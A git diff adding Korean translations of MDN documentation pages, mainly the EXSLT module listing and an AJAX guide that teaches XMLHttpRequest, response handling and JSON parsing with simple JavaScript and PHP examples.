+<h4 id=".ED.95.A8.EC.88.98_3" name=".ED.95.A8.EC.88.98_3">함수</h4>
+<ul>
+ <li><a href="ko/EXSLT/regexp/match">regexp:match</a></li>
+ <li><a href="ko/EXSLT/regexp/replace">regexp:replace</a></li>
+ <li><a href="ko/EXSLT/regexp/test">regexp:test</a></li>
+</ul>
+<h3 id="Sets" name="Sets">Sets</h3>
+<p>EXSLT Sets 꾸러미는 집합 연산을 수행하는 함수를 제공합니다. 이 함수들의 이름공간은 <code><span class="nowiki">http://exslt.org/sets</span></code>입니다.</p>
+<h4 id=".ED.95.A8.EC.88.98_4" name=".ED.95.A8.EC.88.98_4">함수</h4>
+<ul>
+ <li><a href="ko/EXSLT/set/difference">set:difference</a></li>
+ <li><a href="ko/EXSLT/set/distinct">set:distinct</a></li>
+ <li><a href="ko/EXSLT/set/intersection">set:intersection</a></li>
+ <li><a href="ko/EXSLT/set/has-same-node">set:has-same-node</a></li>
+ <li><a href="ko/EXSLT/set/leading">set:leading</a></li>
+ <li><a href="ko/EXSLT/set/trailing">set:trailing</a></li>
+</ul>
+<h3 id="Strings" name="Strings">Strings</h3>
+<p>EXSLT Strings 꾸러미는 문자열을 처리하는 함수를 제공합니다. Strings 꾸러미의 이름공간은 <code><span class="nowiki">http://exslt.org/sets</span></code>입니다.</p>
+<h4 id=".ED.95.A8.EC.88.98_5" name=".ED.95.A8.EC.88.98_5">함수</h4>
+<ul>
+ <li><a href="ko/EXSLT/str/concat">str:concat</a></li>
+ <li><a href="ko/EXSLT/str/split">str:split</a></li>
+ <li><a href="ko/EXSLT/str/tokenize">str:tokenize</a></li>
+</ul>
+<h3 id=".EC.B0.B8.EA.B3.A0" name=".EC.B0.B8.EA.B3.A0">참고</h3>
+<ul>
+ <li><a class="external" href="http://www.exslt.org/">EXSLT web site</a></li>
+</ul>
+<div class="noinclude">
+  </div>
+<p>{{ languages( { "en": "en/EXSLT", "es": "es/EXSLT", "fr": "fr/EXSLT" } ) }}</p>
diff --git a/files/ko/web/guide/ajax/community/index.html b/files/ko/web/guide/ajax/community/index.html
new file mode 100644
index 0000000000..76af2fd193
--- /dev/null
+++ b/files/ko/web/guide/ajax/community/index.html
@@ -0,0 +1,21 @@
+---
+title: Community
+slug: Web/Guide/AJAX/Community
+tags:
+  - AJAX
+translation_of: Web/Guide/AJAX/Community
+---
+<p>AJAX와 관련된 유용한  mailing lists, newsgroups, 포럼, 다른 커뮤니티를 원한다면, 링크를 클릭하세요.</p>
+
+<h2 id="Ajax_Resources" name="Ajax_Resources">Ajax Resources</h2>
+
+<h2 id="Ajax_Workshops__Courses" name="Ajax_Workshops_&amp;_Courses">Ajax Workshops and Courses</h2>
+
+<ul>
+ <li><a class="external" href="http://skillsmatter.com/go/ajax-ria">skillsmatter.com</a>: JavaScript, Ajax 그리고 Reverse Ajax 기술의 대한 강의와 이벤트</li>
+ <li><a href="https://www.telerik.com/forums/aspnet-ajax" rel="noopener">telerik.com</a>: Ajax의 관한 활발한 커뮤니티 포럼</li>
+ <li><a href="https://community.tableau.com/search.jspa?q=ajax" rel="noopener">community.tableau.com</a>: Ajax에 사용가능한 커뮤니티 지원 포럼 및 강좌</li>
+ <li><a href="https://www.codementor.io/community/search?q=ajax" rel="noopener">codementor.io</a>: Ajax 포럼 및 튜토리얼이 있는 소셜 플랫폼</li>
+ <li><a href="https://www.lynda.com/search?q=ajax" rel="noopener">lynda.com</a>: Ajax 기초를 배울 수 있는 튜토리얼 제공</li>
+ <li><a href="https://www.onlineinterviewquestions.com/ajax-interview-questions/" rel="bookmark">Ajax </a>인터뷰 질문 및 질문의 답변<span class="comment">Interwiki links</span></li>
+</ul>
diff --git a/files/ko/web/guide/ajax/getting_started/index.html b/files/ko/web/guide/ajax/getting_started/index.html
new file mode 100644
index 0000000000..35ba540c6f
--- /dev/null
+++ b/files/ko/web/guide/ajax/getting_started/index.html
@@ -0,0 +1,296 @@
+---
+title: Ajax 시작하기
+slug: Web/Guide/AJAX/Getting_Started
+tags:
+  - AJAX
+  - API
+  - Advanced
+  - JavaScript
+  - WebMechanics
+  - XMLHttpRequest
+translation_of: Web/Guide/AJAX/Getting_Started
+---
+<div class="warning"><strong>중요</strong>: 해당 문서는 2018/07/31 (원문 : 2018/04/23) 에 마지막으로 번역되었습니다. 원문의 변경이 잦아 내용이 다를 수 있으니 참고하십시오.</div>
+
+<p><span class="seoSummary">본 문서는 AJAX의 기본을 익힐수 있도록 해주며, 두 가지 간단한 훈련용 예제를 제공합니다.</span></p>
+
+<h3 id="AJAX.EB.9E.80.3F" name="AJAX.EB.9E.80.3F">AJAX란?</h3>
+
+<p>AJAX란 비동기 자바스크립트와 XML (<strong>A</strong>synchronous <strong>J</strong>avaScript <strong>A</strong>nd <strong>X</strong>ML)을 말합니다. 간단히 말하면, 서버와 통신하기 위해 <code><a href="/ko/docs/XMLHttpRequest">XMLHttpRequest</a></code> 객체를 사용하는 것을 말합니다. JSON, XML, HTML 그리고 일반 텍스트 형식 등을 포함한 다양한 포맷을 주고 받을 수 있습니다. AJAX의 강력한 특징은 페이지 전체를 리프레쉬 하지 않고서도 수행 되는 "비동기성"입니다. 이러한 비동기성을 통해 사용자의 Event가 있으면 전체 페이지가 아닌 일부분만을 업데이트 할 수 있게 해줍니다.</p>
+
+<p>AJAX의 주요 두가지 특징은 아래의 작업을 할 수 있게 해줍니다.</p>
+
+<ul>
+ <li>페이지 새로고침 없이 서버에 요청</li>
+ <li>서버로부터 데이터를 받고 작업을 수행</li>
+</ul>
+
+<h3 id="1.EB.8B.A8.EA.B3.84_.E2.80.93_say_.22Please.21.22_or_How_to_Make_an_HTTP_Request" name="1.EB.8B.A8.EA.B3.84_.E2.80.93_say_.22Please.21.22_or_How_to_Make_an_HTTP_Request">1단계 – HTTP request 만드는 방법</h3>
+
+<p>JavaScript를 이용하여 서버로 보내는 <a href="/ko/docs/Web/HTTP">HTTP</a> request를 만들기 위해서는 그에 맞는 기능을 제공하는 Object의 인스턴스가 필요합니다. <code>XMLHttpRequest</code> 가 그러한 Object의 한 예입니다. 이러한 로직은 Internet Explorer의 <code>XMLHTTP</code> 라고 불리는 ActiveX 객체로 부터 시작되었습니다. 이후, Mozilla, Safari 등 기타 브라우저들이 Microsoft사의 ActiveX 객체의 매서드와 프로퍼티를 지원하는 <code>XMLHttpRequest</code> 객체를 적용합니다. 그러는 동안, Microsoft도 XMLHttpRequest를 적용합니다.</p>
+
+<pre class="brush: js">// 구버전을 위한 호환성 코드입니다. 더 이상 이렇게 작성하지 않아도 됩니다.
+var httpRequest;
+if (window.XMLHttpRequest) { // 모질라, 사파리, IE7+ ...
+    httpRequest = new XMLHttpRequest();
+} else if (window.ActiveXObject) { // IE 6 이하
+    httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
+}
+</pre>
+
+<div class="note">주의: 위의 코드는 XMLHttp 인스턴스를 만드는데 사용된 간단한 버전의 코드입니다. 좀 더 현실적인 사용 예를 보려면 이 글의 3단계를 보십시오.</div>
+
+<p>서버에 요청(Request)을 하기에 앞서, 서버로 보낸 요청에 대한 응답을 받았을 때 어떤 동작을 할 것인지 정해야합니다. 위에서 생성한 httpRequest 의 <code>onreadystatechange</code> property에 특정 함수(<code>nameOfTheFunction</code>)를 할당하면 요청에 대한 상태가 변화할 때 특정 함수(<code>nameOfTheFunction</code>)가 불리게 됩니다.</p>
+
+<pre class="brush: js">httpRequest.onreadystatechange = nameOfTheFunction;
+</pre>
+
+<p>주목할 사항으로는 위에서는 해당 함수를 수행하는 것이 아니라 단순하게 어떤 함수가 불릴 것인지만 지정한다는 점입니다. 단순하게 그 함수를 지정하는 것이므로 그 함수로 어떠한 변수도 전달하지 않습니다. 또한 단순하게 함수를 연결하면 되기 때문에 아래와 같이 JavaScript에서 사용되는 "임의 함수(anonymous functions)"방법으로 직접적인 함수 본체를 기입해도 됩니다.</p>
+
+<pre class="brush: js">httpRequest.onreadystatechange = function(){
+    // 서버의 응답에 따른 로직을 여기에 작성합니다.
+};
+</pre>
+
+<p>위와 같이 서버로 부터 응답을 받은 후의 동작을 결정 한 뒤에, 요청을 합니다. 아래와 같이 HTTP request 객체의 <code>open()</code>과 <code>send()</code>를 사용하면 요청을 할 수 있습니다.</p>
+
+<pre class="brush: js">httpRequest.open('GET', 'http://www.example.org/some.file', true);
+httpRequest.send(null);
+</pre>
+
+<p><code>open()</code> 메소드의 파라미터</p>
+
+<ul>
+ <li>첫번째 파라미터는 HTTP 요구 방식(request method) ─ GET, POST, HEAD 중의 하나이거나 당신의 서버에서 지원하는 다른 방식 ─ 입니다. 이 파라미터는 HTTP 표준에 따라 모두 대문자로 표기해야합니다. 그렇지 않으면 (파이어폭스와 같은) 특정 브라우저는 이 요구를 처리하지 않을 수도 있습니다. HTTP 요구 방식의 보다 자세한 정보는 <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">W3C 명세</a>를 참고하기 바랍니다.</li>
+ <li>두번째 파라미터는 요구하고자하는 URL 입니다. 보안상의 이유로 서드 파티 도메인 상의 URL은 기본적으로 호출할 수 없습니다. 요구하는 모든 페이지에 정확한 도메인 네임을 사용하십시오. 그렇지 않으면 <code>open()</code> 메소드를 호출할 때 'permission denied' 에러가 발생할 수 있습니다. 일반적인 오류는 당신의 사이트에 <code>domain.tld</code> 와 같은 형태로 접근하는 것 입니다. 이러한 경우 <code>www.domain.tld</code> 와 같은 형태로 페이지를 요구하기 바랍니다. 만약 다른 도메인으로 요청을 보내고 싶다면 <a href="/ko/docs/Web/HTTP/Access_control_CORS">HTTP 접근 제어 (CORS)</a> 를 참고하기 바랍니다.</li>
+ <li>세번째 파라미터(생략 가능)는 요구가 비동기식(Asynchronous)으로 수행될 지를 결정합니다. 만약 이 파라미터가 <code>true</code>(기본값) 으로 설정된 경우에는 자바스크립트 함수가 지속적으로 수행될 수 있어 서버로부터 응답을 받기 전에도 유저와 페이지의 상호작용이 계속 진행됩니다. 이것이 AJAX 의 첫번째 A (Asynchronous : 비동기성) 입니다.
+  <ul>
+   <li><code>false</code>로 설정된 경우 동기적으로 작동합니다. (<code>send()</code> 함수에서 서버로부터 응답이 올 때까지 기다림)<sup>역자 덧붙임</sup></li>
+  </ul>
+ </li>
+</ul>
+
+<p><code>send()</code> 메소드의 파라미터는 POST 방식으로 요구한 경우 서버로 보내고 싶은 어떠한 데이터라도 가능합니다. 데이터는 서버에서 쉽게 parse할 수 있는 형식(format)이어야 합니다. 예를 들자면 아래와 같습니다.</p>
+
+<pre><code>"name=value&amp;anothername="+encodeURIComponent(myVar)+"&amp;so=on"</code></pre>
+
+<p><code>multipart/form-data</code>, JSON, XML, SOAP 등과 같은 다른 형식(format)도 가능합니다.</p>
+
+<p>만약 <code>POST</code> 형식으로 데이터를 보내려 한다면, 요청(request)에 MIME type을 먼저 설정 해야 합니다. 예를 들자면 <code>send()</code>를 호출 하기 전에 아래와 같은 형태로 send()로 보낼 쿼리를 이용해야 합니다.</p>
+
+<pre class="brush: js">httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+</pre>
+
+<h3 id="2.EB.8B.A8.EA.B3.84_.E2.80.93_.22There_you_go.21.22_or_Handling_the_Server_Response" name="2.EB.8B.A8.EA.B3.84_.E2.80.93_.22There_you_go.21.22_or_Handling_the_Server_Response">2단계 – 서버 응답에 대한 처리</h3>
+
+<p>서버로 요청(request)을 보내기 전에, 위(1단계 - HTTP Request 만들기)에서는 서버의 응답을 처리하기 위한 자바스크립트 함수의 이름을 지정했었습니다.</p>
+
+<pre class="brush: js">httpRequest.onreadystatechange = nameOfTheFunction;</pre>
+
+<p>이 함수는 무슨 일을 수행해야 할까요? 먼저, 해당 함수에서는 요구의 상태값을 검사할 필요가 있습니다. 만약 상태값이 <code>XMLHttpRequest.DONE</code> (상수 4로 정의되어 있습니다.) 라면, 서버로부터 모든 응답을 받았으며 이를 처리할 준비가 되었다는 것을 뜻합니다.</p>
+
+<pre class="brush: js">if (httpRequest.readyState === XMLHttpRequest.DONE) {
+    // 이상 없음, 응답 받았음
+} else {
+    // 아직 준비되지 않음
+}
+</pre>
+
+<p><code>readyState</code> 가 가질 수 있는 모든 값의 목록은 <a href="/en-US/docs/Web/API/XMLHttpRequest/readyState">XMLHTTPRequest.readyState</a>에 작성되어있으며 아래와 같습니다:</p>
+
+<ul>
+ <li>0 (uninitialized) - (<strong>request가 초기화되지 않음</strong>)</li>
+ <li>1 (loading) - (<strong>서버와의 연결이 성사됨</strong>)</li>
+ <li>2 (loaded) - (<strong>서버가 request를 받음</strong>)</li>
+ <li>3 (interactive) - (<strong>request(요청)을 처리하는 중</strong>)</li>
+ <li>4 (complete) - (<strong>request에 대한 처리가 끝났으며 응답할 준비가 완료됨</strong>)</li>
+</ul>
+
+<p>(<a class="external" href="/en-US/docs/Web/Guide/AJAX/Getting_Started#Step_2_%E2%80%93_Handling_the_server_response">원문</a> 참고)</p>
+
+<p>그 다음에는 <a href="/ko/docs/Web/HTTP/Status">HTTP 응답 상태 코드</a>를 검사해야 합니다. 가능한 모든 코드 값의 목록은 <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">W3C</a> 에서 확인할 수 있습니다. 아래 예제에서는 AJAX 요청이 정상적으로 처리되었는지 아닌지만을 검사하기 위해 응답 코드가 <a href="/ko/docs/Web/HTTP/Status#%EC%84%B1%EA%B3%B5_%EC%9D%91%EB%8B%B5">200 OK</a> 인지 검사하는 예제입니다.</p>
+
+<pre class="brush: js">if (httpRequest.status === 200) {
+    // 이상 없음!
+} else {
+    // 요구를 처리하는 과정에서 문제가 발생되었음
+    // 예를 들어 응답 상태 코드는 404 (Not Found) 이거나
+    // 혹은 500 (Internal Server Error) 이 될 수 있음
+}
+</pre>
+
+<p>이제 요구와 그에 대한 응답에 대한 상태 코드를 검사했으므로, 서버에서 받은 데이터를 통해 원하는 작업을 수행할 수 있다. 그리고 응답 데이터에 접근하기 위한 옵션이 2가지 있습니다.</p>
+
+<ul>
+ <li><code>http_request.responseText</code> – 서버의 응답을 텍스트 문자열로 반환할 것이다.</li>
+ <li><code>http_request.responseXML</code> – 서버의 응답을 <code>XMLDocument</code> 객체로 반환하며 당신은 자바스크립트의 DOM 함수들을 통해 이 객체를 다룰 수 있을 것이다.</li>
+</ul>
+
+<p>위의 단계는 비동기식 요구(asynchronous request)를 사용했을 경우에 대한 설명입니다(즉, <code>open()</code>의 세번째 변수가 생략되었거나 <code>true</code> 일 경우). 동기식(Synchronous) 방법을 사용한다면 함수(<code>nameOfTheFunction</code>)를 명시할 필요 없이 <code>send()</code> 호출에 의해 반환되는 data를 바로 사용 할 수 있습니다. 그러나 이는 스크립트가 <code>send()</code>를 호출할 때 멈춰지며 서버의 응답이 완료 될 때까지 기다리기 때문에 나쁜 UX를 제공하게 합니다.</p>
+
+<h3 id="3.EB.8B.A8.EA.B3.84_.E2.80.93_.22All_together_now.21.22_-_A_Simple_Example" name="3.EB.8B.A8.EA.B3.84_.E2.80.93_.22All_together_now.21.22_-_A_Simple_Example">3단계 – 간단한 예제</h3>
+
+<p>이제 이들을 한데 모아서 간단한 HTTP Request를 수행해보겠습니다. 우리가 작성할 자바스크립트는 "I'm a test." 라는 문장이 적힌 <code>test.html</code> 이라는 HTML 문서를 요청해서 문서의 내용을 파라미터로 <code>alert()</code> 함수를 호출할 것입니다. 이 예제는 vanilla Javascript(순수 자바스크립트 - jQuery도 포함되어 있지 않습니다.)로 작성되었습니다. 또한 HTML, XML, PHP 파일들은 같은 경로에 위치되어 있어야 합니다.</p>
+
+<pre class="brush: html">&lt;button id="ajaxButton" type="button"&gt;Make a request&lt;/button&gt;
+
+&lt;script&gt;
+(function() {
+  var httpRequest;
+  document.getElementById("ajaxButton").addEventListener('click', makeRequest);
+
+  function makeRequest() {
+    httpRequest = new XMLHttpRequest();
+
+    if(!httpRequest) {
+      alert('XMLHTTP 인스턴스를 만들 수가 없어요 ㅠㅠ');
+      return false;
+    }
+    httpRequest.onreadystatechange = alertContents;
+    httpRequest.open('GET', 'test.html');
+    httpRequest.send();
+  }
+
+  function alertContents() {
+    if (httpRequest.readyState === XMLHttpRequest.DONE) {
+      if (httpRequest.status === 200) {
+        alert(httpRequest.responseText);
+      } else {
+        alert('request에 뭔가 문제가 있어요.');
+      }
+    }
+  }
+})();
+&lt;/script&gt;
+</pre>
+
+<p><br>
+ 이 예제에서:</p>
+
+<ul>
+ <li>사용자는 브라우저 상의 "Make a request" 라는 버튼을 클릭합니다;</li>
+ <li>버튼의 클릭 이벤트 핸들러는 <code>makeRequest()</code> 함수를 호출합니다;</li>
+ <li>브라우저는 서버로 요구를 보내고 <code>onreadystatechange</code> 에 설정된 <code>alertContents()</code> 함수가 수행됩니다;</li>
+ <li><code>alertContents()</code> 함수는 서버로부터 응답을 받았는지와 정상적으로 처리된 응답인지를 검사하여 정상적인 경우 <code>test.html</code> 파일의 내용을 파라미터로 <code>alert()</code> 함수를 호출합니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>주의</strong>: Internet Explorer에서 정적 HTML 파일이 아닌 XML 파일을 받기 위한 request를 보내려면 응답 헤더를 반드시 설정해주어야 합니다. 헤더에 <code>Content-Type: application/xml</code>을 설정해주지 않으면 IE는 XML 요소에 접근하고자 할 때 "Object Expected" 예외에러를 발생시킵니다.</p>
+</div>
+
+<div class="note">
+<p><strong>주의 2</strong>: 헤더에 <code>Cache-Control: no-cache</code> 를 설정 하지 않는다면, 브라우저는 응답을 캐싱하고 다시 요청하지 않을 수 있습니다. 이는 디버깅하기 매우 어려워 질 수 있음을 기억하십시오. 또는 GET 파라미터로 timestamp(시간정보)나 난수를 추가하면 캐싱을 방지할 수 있습니다. (<a href="/ko/docs/XMLHttpRequest/Using_XMLHttpRequest#Bypassing_the_cache" title="https://developer.mozilla.org/En/XMLHttpRequest/Using_XMLHttpRequest#Bypassing_the_cache">캐싱 우회</a>를 참고하세요)</p>
+</div>
+
+<div class="note">
+<p><strong>주의 3</strong>: 만약 <code>httpRequest</code> 변수가 전역적으로 사용되면, <code>makeRequest()</code> 함수를 호출하는 여러 함수들 사이에서 경쟁 상태(race condition)가 발생할 수 있으며, 이 경우 다른 데이터를 덮어쓰게 됩니다. <code>XMLHttpRequest</code> 인스턴스는 함수 내의 지역 변수로 선언하는 것을 권장합니다.</p>
+</div>
+
+<p>통신 에러 (서버가 다운되는 상황 등) 상황에서, status 필드를 접근하려 하면 <code>onreadystatechange</code> 메서드에서 예외에러를 발생 시킬 것입니다. 이러한 문제를 예방하기 위해서 <code>if...then</code> 구문을 <code>try…catch</code> 구문으로 감싸주세요.</p>
+
+<pre class="brush: js">function alertContents() {
+  try {
+    if (httpRequest.readyState === XMLHttpRequest.DONE) {
+      if (httpRequest.status === 200) {
+        alert(httpRequest.responseText);
+      } else {
+        alert('There was a problem with the request.');
+      }
+    }
+  }
+  catch( e ) {
+    alert('Caught Exception: ' + e.description);
+  }
+}
+</pre>
+
+<h3 id="4.EB.8B.A8.EA.B3.84_.E2.80.93_.22The_X-Files.22_or_Working_with_the_XML_Response" name="4.EB.8B.A8.EA.B3.84_.E2.80.93_.22The_X-Files.22_or_Working_with_the_XML_Response">4단계 – 추가 예제 1 (XML response)</h3>
+
+<p>앞의 예제에서 HTTP 요구(request)에 대한 응답을 받은후에 리퀘스트 오브젝트(request object) 중 <code>reponseText</code> 프로퍼티를 사용했고, <code>reponseText</code>는 <code>test.html</code>파일의 내용을 가지고 있었습니다. 이제 <code>responseXML</code>을 사용해 봅시다.</p>
+
+<p>첫째로, 나중에 요구하게 될 XML 문서를 만들어 봅시다. 이 문서(<code>test.xml</code>)은 아래와 같은 내용을 담고 있습니다:</p>
+
+<pre class="brush: xml">&lt;?xml version="1.0" ?&gt;
+&lt;root&gt;
+    I'm a test.
+&lt;/root&gt;
+</pre>
+
+<p>3단계 예제의 스크립트의 내용도 바꿔줍니다.</p>
+
+<p>파일의 확장자를 <code>.html</code>에서 <code>.xml</code>로 변경합니다:</p>
+
+<pre>...
+onclick="makeRequest('test.xml')"&gt;
+...
+</pre>
+
+<p>그 다음, <code>alertContents()</code>함수에서 <code>alert()</code>함수를 실행하는 라인 <code>alert(httpRequest.responseText);</code>을 아래와 같이 바꿉니다:</p>
+
+<pre class="brush: js">var xmldoc = httpRequest.responseXML;
+var root_node = xmldoc.getElementsByTagName('root').item(0);
+alert(root_node.firstChild.data);
+</pre>
+
+<p>이 방법은 <code>responseXML</code>에 의한 <code>XMLDocument</code> 객체를 가져오고 XML 문서에 포함된 데이터를 가져오기 위해 DOM 메서드들을 사용했습니다. <code>test.xml</code>는 <a class="external" href="http://www.w3clubs.com/mozdev/test.xml">여기</a>에서 볼 수 있으며 위와 같이 수정한 업데이트된 테스트용 스크립트는 <a class="external" href="http://www.w3clubs.com/mozdev/httprequest_test_xml.html">여기</a>에서 볼 수 있습니다. (해당 테스트 문서는 구버전이기 때문에 button이 아닌 클릭가능한 밑줄 문장으로 구성되어 있습니다.<sup>역자 덧붙임</sup>)</p>
+
+<h3 id="Step_5_–_추가_예제_2_(data)">Step 5 – 추가 예제 2 (data)</h3>
+
+<p>마지막으로, 서버에 HttpRequest를 전송할 때 data를 포함해보고 응답을 받아봅시다. 이번에는 동적인 페이지를 요청(Request)할 것입니다. 서버의 <code>test.php</code> 코드는 전송받은 data를 이용하여 "계산된" 문자열인 "Hello, [user data]!"를 반환해줄 것입니다. 그리고 <code>alert()</code> 으로 확인해봅시다.</p>
+
+<p>먼저 유저가 편집할 수 있는 HTML 구성요소인 텍스트박스를 추가합니다:</p>
+
+<pre class="brush: html">&lt;label&gt;당신의 이름을 입력해주세요 :
+  &lt;input type="text" id="ajaxTextbox" /&gt;
+&lt;/label&gt;
+&lt;span id="ajaxButton" style="cursor: pointer; text-decoration: underline"&gt;
+  Make a request
+&lt;/span&gt;</pre>
+
+<p>텍스트박스에 입력된 유저의 데이터를 얻기 위해 클릭 이벤트 핸들러에도 몇 줄 추가해줍니다. 유저의 데이터와 서버 측에서 실행시킬 스크립트의 URL을 담아 <code>makeRequest()</code> 함수를 호출합니다.</p>
+
+<pre class="brush: js">  document.getElementById("ajaxButton").onclick = function() {
+      var userName = document.getElementById("ajaxTextbox").value;
+      makeRequest('test.php',userName);
+  };</pre>
+
+<p>유저 데이터를 받아 서버로 전송시키려면 makeRequest() 함수를 수정해야 합니다. HTTP 요구 방식을 <code>GET</code> 에서 <code>POST</code> 로 변경하고, 유저 데이터를 <code>httpRequest.send()</code> 의 인자로 넣어줍니다:</p>
+
+<pre class="brush: js">  function makeRequest(url, userName) {
+
+    ...
+
+    httpRequest.onreadystatechange = alertContents;
+    httpRequest.open('POST', url);
+    httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
+    httpRequest.send('userName=' + encodeURIComponent(userName));
+  }
+</pre>
+
+<p><code>alertContents()</code> 함수는 <strong>3단계</strong>와 같이 작성한다면 서버가 반환한 모든 값을 출력하므로 내버려두어도 상관없습니다. 그러나 만약 서버가 "계산된 문자열"과 "유저 데이터" 두 항목을 반환한다고 가정하면 서버의 응답 데이터는 다음과 같을 것입니다(유저가 "우희"라고 작성한다면):</p>
+
+<p><code>{"userData":"우희","computedString":"안녕, 우희!"}</code></p>
+
+<p>이 응답 데이터를 <code>alertContents()</code> 에서 사용하려면, <code>responseText</code> 프로퍼티의 값만을 사용한 출력물은 좋은 출력물이라고 할 수 없습니다. (위 문장이 그대로 alert 됩니다.)</p>
+
+<p>우리는 <code>computedString</code>만을 출력시키기 위해 파싱(parsing : 구문 분석)을 해야만 합니다 (위와 같은 포맷을 JSON 포맷이라고 합니다. 아래의 코드에서는 JSON 내장 객체를 이용하여 파싱합니다.<sup>역자 덧붙임</sup>):</p>
+
+<pre class="brush: js">function alertContents() {
+  if (httpRequest.readyState === XMLHttpRequest.DONE) {
+    if (httpRequest.status === 200) {
+      var response = JSON.parse(httpRequest.responseText);
+      alert(response.computedString);
+    } else {
+      alert('request에 뭔가 문제가 있어요.');
+    }
+  }
+}</pre>
+
+<p><code>test.php</code> 파일은 아래와 같아야 합니다:</p>
+
+<pre class="brush: php"><code>$name = (isset($_POST['userName'])) ? $_POST['userName'] : 'no name';
+$computedString = "안녕, " . $name . "!";
+$array = ['userName' =&gt; $name, 'computedString' =&gt; $computedString];
+echo json_encode($array);</code></pre>
+
+<p>DOM methods에 대한 더 자세한 사항은 <a class="external" href="http://www.mozilla.org/docs/dom/">Mozilla's DOM implementation</a> 문서를 확인하십시오.</p>
diff --git a/files/ko/web/guide/ajax/index.html b/files/ko/web/guide/ajax/index.html
new file mode 100644
index 0000000000..e94f129272
--- /dev/null
+++ b/files/ko/web/guide/ajax/index.html
@@ -0,0 +1,71 @@
+---
+title: AJAX
+slug: Web/Guide/AJAX
+tags:
+  - AJAX
+  - DOM
+  - JavaScript
+  - References
+translation_of: Web/Guide/AJAX
+---
+<div class="callout-box"><strong><a href="/ko/AJAX/Getting_Started">시작하기</a></strong><br>
+AJAX를 소개합니다.</div>
+
+<p><span class="seoSummary"><strong>Asynchronous JavaScript + XML(AJAX)</strong>은 그 자체가 특정 기술은 아닙니다. 2005년 Jesse James Garrett이 처음 만들어낸 말로, <a href="/ko/docs/Web/HTML">HTML</a> 또는 <a href="/ko/docs/Glossary/XHTML">XHTML</a>, <a href="/ko/docs/Web/CSS">CSS</a>, <a href="/ko/docs/Web/JavaScript">JavaScript</a>, <a href="/ko/docs/Web/API/Document_Object_Model">DOM</a>, <a href="/ko/docs/Web/XML">XML</a>, <a href="/ko/docs/Web/XSLT">XSLT</a>, 그리고 제일 중요한 <a href="/ko/docs/Web/API/XMLHttpRequest">XMLHttpRequest 객체</a>를 비롯해 기존의 여러 기술을 사용하는 "새로운" 접근법을 설명하는 용어입니다.</span><br>
+ 이렇게 다양한 기술을 AJAX 모델로서 결합했을 때, 웹 어플리케이션은 전체 페이지를 새로 고칠 필요 없이 사용자 인터페이스에 빠르고 점진적인 업데이트를 적용할 수 있습니다. 덕분에 어플리케이션은 보다 빨라지고, 사용자 행동에 대한 반응성도 좋아집니다.</p>
+
+<p>AJAX의 X가 XML을 의미하긴 하지만, 요즘은 더 가벼운 용량과 JavaScript의 일부라는 장점 때문에 {{glossary("JSON")}}을 더 많이 사용합니다. JSON과 XML 양쪽 모두 AJAX 모델에서 정보를 담을 때 사용합니다.</p>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="문서">문서</h2>
+
+<dl>
+ <dt><a href="/ko/docs/Web/Guide/AJAX/Getting_Started">시작하기</a></dt>
+ <dd><small>AJAX 기초를 다룬 후에 간단한 연습 예제 두 개를 제공합니다.</small></dd>
+ <dt><a href="/ko/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">XMLHttpRequest API 사용하기</a></dt>
+ <dd>{{domxref("XMLHttpRequest")}} API는 Ajax의 핵심입니다. 이 글은 몇 가지 AJAX 기술을 사용하는 법을 설명합니다.
+ <ul>
+  <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Handling_responses">analyzing and manipulating the response of the server</a></li>
+  <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Monitoring_progress">monitoring the progress of a request</a></li>
+  <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files">submitting forms and upload binary files</a> – in <em>pure</em> Ajax, or using {{domxref("FormData")}} objects</li>
+  <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Types_of_requests">creating synchronous or asynchronous requests</a></li>
+  <li>using Ajax within <a href="/en-US/docs/Web/API/Worker">Web workers</a></li>
+ </ul>
+ </dd>
+ <dt><a href="/ko/docs/Web/API/Fetch_API">Fetch API</a></dt>
+ <dd>The Fetch API provides an interface for fetching resources. It will seem familiar to anyone who has used {{domxref("XMLHTTPRequest")}}, but this API provides a more powerful and flexible feature set.</dd>
+ <dt><a href="/ko/docs/Web/API/Server-sent_events">서버발 이벤트</a></dt>
+ <dd>Traditionally, a web page has to send a request to the server to receive new data; that is, the page requests data from the server. With server-sent events, it's possible for a server to send new data to a web page at any time, by pushing messages to the web page. These incoming messages can be treated as <em><a href="/en-US/docs/Web/API/Event">Events</a> + data</em> inside the web page. See also: <a href="/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events">Using server-sent events</a>.</dd>
+ <dt><a href="/ko/docs/Web/API/XMLHttpRequest/Sending_and_Receiving_Binary_Data">이진 데이터 주고받기</a></dt>
+ <dd>The <code>responseType</code> property of the <code>XMLHttpRequest</code> object can be set to change the expected response type from the server. Possible values are the empty string (default), <code>arraybuffer</code>, <code>blob</code>, <code>document</code>, <code>json</code>, and <code>text</code>. The <code>response</code> property will contain the entity body according to <code>responseType</code>, as an <code>ArrayBuffer</code>, <code>Blob</code>, <code>Document</code>, <code>JSON</code>, or string. This article will show some Ajax I/O techniques.</dd>
+ <dt><a href="/ko/docs/Web/XML">XML</a></dt>
+ <dd>The <strong>Extensible Markup Language (XML)</strong> is a W3C-recommended general-purpose markup language for creating special-purpose markup languages. It is a simplified subset of SGML, capable of describing many different kinds of data. Its primary purpose is to facilitate the sharing of data across different systems, particularly systems connected via the Internet.</dd>
+ <dt><a href="/en-US/docs/Parsing_and_serializing_XML">XML 분석 및 직렬화</a></dt>
+ <dd>How to parse an XML document from a string, a file or via javascript and how to serialize XML documents to strings, Javascript Object trees (JXON) or files.</dd>
+ <dt><a href="/en-US/docs/XPath">XPath</a></dt>
